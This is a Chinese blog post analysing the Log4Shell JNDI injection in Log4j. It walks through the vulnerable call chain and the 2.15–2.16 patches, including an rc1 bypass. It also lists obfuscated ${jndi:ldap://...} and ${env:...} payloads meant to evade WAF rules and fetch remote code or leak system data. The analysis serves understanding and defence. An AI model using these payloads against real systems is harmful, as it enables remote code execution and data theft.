Log4j JNDI漏洞(Log4Shell)

很久之前的一个核弹级漏洞,之前响应过程中没有写文章,最近有些遗忘,重新看了一下,顺手写下这篇文章。Log4j JNDI,CVE-2021-44228。

Log4j

Log4j是Java应用程序的日志记录工具。将log4j的jar包引入项目后,在项目中创建一个 log4j.properties 或 log4j.xml 配置文件,用于配置日志记录器的行为,例如输出日志的格式、级别、存储位置等。

Log4j常用组件如下:
(1)Appender将日志消息发送到某个目标组件如控制台、文件、数据库等。
(2)Filter对日志事件进行过滤,符合特定条件的日志才能发送到Appender。
(3)LoggerContext是管理各个组件的上下文对象,相当于容器。
(4)Logger是打印日志信息的主要工具,包含不同的日志消息级别,从低到高为:trace、debug、info、warn、error、fatal
(5)layout模块用来制定日志的输出格式,如HTML(HTMLLayout)、JSON(JsonLayout)、格式化字符串(PatternLayout)等
(6)selector模块用来选择特定的日志记录器

log4j的用法如下。获取一个日志记录器实例并记录信息

private static final Logger LOGGER = Logger.getLogger(xxClass.class);
LOGGER.debug("debug test");
LOGGER.info("info test");
LOGGER.warn("warn test");
LOGGER.error("error test");
LOGGER.fatal("fatal test");

漏洞分析

问题就出现在了logger.error,如果日志信息可控,就可能造成JNDI

logger.error("${jndi:rmi://ip:port/evil}");

看到payload有一个很直观的问题,JNDI常用的payload形式是rmi://ip:port/evil,log4j的payload则在此基础上加入了${jndi:}的外壳

在log4j中搜索Context.lookup()可以定位到JndiManager.lookup(),在此方法上打断点,进行调试,调用栈如下。分成了六个重要的步骤。

AbstractLogger.logIfEnabled (1)
  PatternLayout$PatternSerializer.toSerializable (2)
    ...
      MessagePatternConverter.format (3)
        ...
          StrSubstitutor.substitute (4)
            ...
              Interpolator.lookup (5)
                JndiManager.lookup (6)

(1)AbstractLogger.logIfEnabled()

    public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable t) {
        if (this.isEnabled(level, marker, message, t)) {
            this.logMessage(fqcn, level, marker, message, t);
        }
    }

logIfEnabled主要是用来避免在日志级别不足的情况下执行耗时或开销大的操作。首先就会进行isEnabled()判断,检查是否已经启用相应级别的日志记录器,如果启用了就记录消息。isEnabled()最核心的判断是如下这行

return level != null && this.intLevel >= level.intLevel();

intLevel为200,也就是需要找到level<=200的级别,符合条件的就是OFF、FATAL、ERROR

public enum StandardLevel {
    OFF(0),
    FATAL(100),
    ERROR(200),
    WARN(300),
    INFO(400),
    DEBUG(500),
    TRACE(600),
    ALL(Integer.MAX_VALUE);
}

(2)PatternLayout.toSerializable

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    for(int i = 0; i < len; ++i) {
        this.formatters[i].format(event, buffer);
    }
    str = this.replace.format(str); 
    buffer.append(str);
}

前面提到layout模块用来制定日志的输出格式,它会遍历所有的格式转换器converters对这个传入的消息进行格式转换,组合成一个字符串输出格式。即循环遍历每个xxConverter.format()并将结果拼接起来
log4j中的Converters如下

DatePatternConverter 10:52:29.870
LiteralPatternConverter [
ThreadNamePatternConverter main
LiteralPatternConverter ]
LevelPatternConverter ERROR
LiteralPatternConverter "
LoggerPatternConverter  cvePocTest.log4jTest
LiteralPatternConverter -
MessagePatternConverter  ${jndi:ldap://ip:port/evil}
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

在遍历到MessagePatternConverter.format()前,已经拼接出的结果如下

10:52:29.870 [main] ERROR cvePocTest.log4jTest -

(3)MessagePatternConverter.format()

public void format(final LogEvent event, final StringBuilder toAppendTo) {
    Message msg = event.getMessage(); 
    int offset = workingBuilder.length();
   ((StringBuilderFormattable)msg).formatTo(workingBuilder);
    if (this.config != null && !this.noLookups) {
        for(int i = offset; i < workingBuilder.length() - 1; ++i) {
            if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                String value = workingBuilder.substring(offset, workingBuilder.length());
                workingBuilder.setLength(offset);
                workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
            }
        }
    }
}

这步首先获取传入的message,即${jndi:ldap://ip:port/evil},然后获取已经拼接好的字符串的长度offset,再将message拼接上去。然后通过循环判断workingBuilder的第offset位开始是否存在${,如果存在就截取message的内容出来,执行到后续的StrSubstitutor.substitute()

(4)StrSubstitutor.substitute

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List priorVariables) {
    StrMatcher prefixMatcher = this.getVariablePrefixMatcher(); // [ $,{ ]
    StrMatcher suffixMatcher = this.getVariableSuffixMatcher(); // [ } ]
    char escape = this.getEscapeChar(); // $
    StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher(); // [ :,- ]
    while(true) {
        while(pos < bufEnd) {
            int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
            if (startMatchLen == 0) { ++pos; // 如果当前没匹配到${,就查找下一位
            } else if (pos > offset && chars[pos - 1] == escape) {...
            } else { // 如果匹配到了${
                while(true) { // 判断${的起始位置
                    if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                        ++nestedVarCount;
                        pos += endMatchLen;
                    } else {  // 找到}的位置
                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                             ++pos;
                        } else {
                            if (nestedVarCount == 0) {
                                // 把${}中的内容截取出来
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); 
                                if (substitutionInVariablesEnabled) {
                                    StringBuilder bufName = new StringBuilder(varNameExpr);
                                    this.substitute(event, bufName, 0, bufName.length()); // 再次执行上述过程判断是否存在${}
                                    varNameExpr = bufName.toString(); // 得到内层${}中的内容
                                }
                               if (valueDelimiterMatcher != null) {
                                   char[] varNameExprChars = varNameExpr.toCharArray();
                                   int valueDelimiterMatchLen = false;
                                   label100:
                                   for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
                                       if (this.valueEscapeDelimiterMatcher != null) {
                                       int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                           if (matchLen != 0) {...}
                                           if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                               // i是匹配到:-的位置
                                               varName = varNameExpr.substring(0, i);
                                               // 截取 :- 后的内容
                                               varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                               break;
                                           }
                                       }
                                       String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
                                       if (varValue == null) {
                                           varValue = varDefaultValue;
                                       }

                                       if (varValue != null) {
                                           valueDelimiterMatchLen = varValue.length();
                                           buf.replace(startPos, pos, varValue);
                                       }

这步中多次用到

        public int isMatch(final char[] buffer, int pos, final int bufferStart, final int bufferEnd) {
            int len = this.chars.length; // 传入的chars不同,例如chars=[:, \, -],例如chars=[:,-]
            if (pos + len > bufferEnd) {
                return 0;
            } else {
                for(int i = 0; i < this.chars.length; ++pos) {
                    if (this.chars[i] != buffer[pos]) {
                        return 0;
                    }
                    ++i;
                }
                return len;
            }
        }

通过前后缀的匹配来找到${},截取其中的内容,如jndi:rmi://xxxx。然后在this.resolveVariable(event, varName, buf, startPos, pos);这步会执行到Interpolator.lookup(),根据关键字jndi来查找相应的resovler进行处理。

(5)Interpolator.lookup

public String lookup(final LogEvent event, String var) {
    int prefixPos = var.indexOf(58);
    if (prefixPos >= 0) {
        String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }
}

内置的resolver如下,即strLookupMap有12个,根据prefix前缀进行匹配,进入不同的xxLookup进行处理。

"date" -> {DateLookup@2056} 
"java" -> {JavaLookup@2058} 
"marker" -> {MarkerLookup@2060} 
"ctx" -> {ContextMapLookup@2062} 
"lower" -> {LowerLookup@2064} 
"upper" -> {UpperLookup@2066} 
"jndi" -> {JndiLookup@2068} 
"main" -> {MapLookup@2070} 
"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@2072} 
"sys" -> {SystemPropertiesLookup@2074} 
"env" -> {EnvironmentLookup@2076} 
"log4j" -> {Log4jLookup@2078} 

由于传入的消息是jndi://xxx,所以进入到JndiLookup,但是看其主要代码可以发现实际调用的是jndiManager.lookup()

public String lookup(final LogEvent event, final String key) {
    String jndiName = this.convertJndiName(key);
    JndiManager jndiManager = JndiManager.getDefaultManager();
    var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
}

(6)JndiManager.lookup

public  T lookup(final String name) throws NamingException {
    return this.context.lookup(name); // InitialContext
}

Bypass WAF

很多防御规则在第一版的时候都是拦截的${jndi://rmi}${jndi://ldap}

首先,根据上述步骤(5)可以看到log4j除了支持jndi,还支持upper、lower、sys、env等关键字,其中sys、env都是系统环境相关的,可以造成信息泄漏,payload如下

${java:version}
${sys:os.name}
${env:JAVA_HOME}

其他的绕过方式如下

1. ::-绕过
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/gs3cdx}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/gs3cdx}
${${::-j}ndi:ldap://127.0.0.1:1389/gs3cdx}

2.lower & upper
${${lower:jndi}:${lower:ldap}://127.0.0.1:1389/gs3cdx}
${${lower:${lower:jndi}}:${lower:ldap}://127.0.0.1:1389/gs3cdx}
${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1:1389/gs3cdx}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}da${lower:p}}://127.0.0.1:1389/gs3cdx}
${j${lower:n}di:ld${lower:a}p:/${lower:/}127.0.0.1:1389/gs3cdx}

3. ctx env sys
${${ctx:BARFO:-j}ndi:ldap://127.0.0.1:1389/gs3cdx}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${jndi:ldap://localhost:1389/${java:version}}
${jndi:sys:java.class.path}

4. ldap[s]?|rmi|dns|iiop|nis|corba|nds|http //后五个真实性待校验
${jndi:rmi://adsasd.asdasd.asdasd}
${jndi:dns://aeutbj.example.com/ext}

5. rc1空格绕过
${jndi:ldap://127.0.0.1:1389/ gs3cdx}

尤其是${::-j}这样的绕过方式的原因是,在上述第(4)步中,会对${}中的内容进行循环提取。并且对于:-这个valueDelimiterMatcher的处理是,将:-后面的内容提取出来。即${::-j}最后会变为j

${lower:jndi}${upper:i}的绕过则是由于上述第(5)步中,会根据关键字调用对应的lookup方法,方法如下,即把对应的内容变成大写或小写

# UpperLookup.lookup
public String lookup(final String key) {
    return key != null ? key.toUpperCase() : null;
}

# LowerLookup.lookup
public String lookup(final String key) {
    return key != null ? key.toLowerCase() : null;
}

2.15.0 rc1补丁分析

对比一下2.15版本中对于上述六个关键步骤的改动,https://github.com/apache/logging-log4j2/compare/rel/2.14.1...log4j-2.15.0-rc1

其中执行到第(3)步MessagePatternConverter.format()方法,查看MessagePatternConverter代码的过程中看到增加了四个内部类SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter

默认调用的是SimpleMessagePatternConverter.format(),直接将msg拼接后,不再调用StrSubstitutor进行处理,也就是后续的调用链都无法执行了。

MessagePatternConverter.format

而内部类LookupMessagePatternConverter中就存在调用StrSubstitutor进行处理的方法。

LookupMessagePatternConverter

那么想要绕过就需要找到什么时候能调用LookupMessagePatternConverter这个内部类。MessagePatternConverter在实例化的时候如果lookups和config都不为空,就会进行调用。

MessagePatternConverter实例化

lookup是从loadLookups方法中读取的options的结果。也就是需要在配置文件里进行配置。


loadLookups

配置文件开启lookup的方式有两种:
(1)配置文件
编写xml配置文件,放在与class同级的目录下,注释掉的是一般默认情况,将其更改为带有{lookups}的配置



    



        
            
        
        
            
        
    
    
        
            
            
        
    

(2)代码配置

        final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
        final MessagePatternConverter converter =
                MessagePatternConverter.newInstance(config, new String[] {"lookups"});
        final Message msg = new ParameterizedMessage("${jndi:ldap://ip:port/ gs3cdx}");
        final LogEvent event = Log4jLogEvent.newBuilder()
                .setLoggerName("MyLogger")
                .setLevel(Level.DEBUG)
                .setMessage(msg).build();
        final StringBuilder sb = new StringBuilder();
        converter.format(event, sb);
        System.out.println(sb);

另外,2.15.0 rc1补丁对上述第(6)步的JndiManager.lookup()进行了更改

JndiManager.lookup()

首先会对url的scheme进行白名单校验,包含javaldapldaps,并且如果scheme是ldap或ldaps就进一步对host进行判断,allowedHosts即系统所处的网络环境,限制了本地的ip。此处的绕过非常巧妙

整体来看JndiManager.lookup()的结构,会在try中校验各类白名单,任何一个白名单不满足,都会直接return null,而无法走到最后的return。但是异常中没有任何代码,如果可以走到异常处理,那么就能执行最后的return (T) this.context.lookup(name);

public synchronized  T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        ...
    } catch (URISyntaxException ex) {
    }
    return (T) this.context.lookup(name);
}

try中只有第一行代码,没有设置return null的条件,这也是唯一走向异常的突破口,对URISyntaxException的原因进行查询,一般是由于特殊字符没有进行编码导致的,如{} & @ # 空格等。这样就可以通过在url后面加入特殊字符来抛出异常进入catch,最终调用lookup,例如采用空格的方式,即${jndi:rmi://ip:port/ a}

所以到了2.15.0 rc2时,补丁就对这种异常处理的缺陷进行了修复

2.15.0 rc2修复

最后到了2.16.0,官方不再支持lookup,一旦有LOOKUPS和NOLOOKUPS属性,日志就打印出Message Lookups are no longer supported

你可能感兴趣的:(Log4j JNDI漏洞(Log4Shell))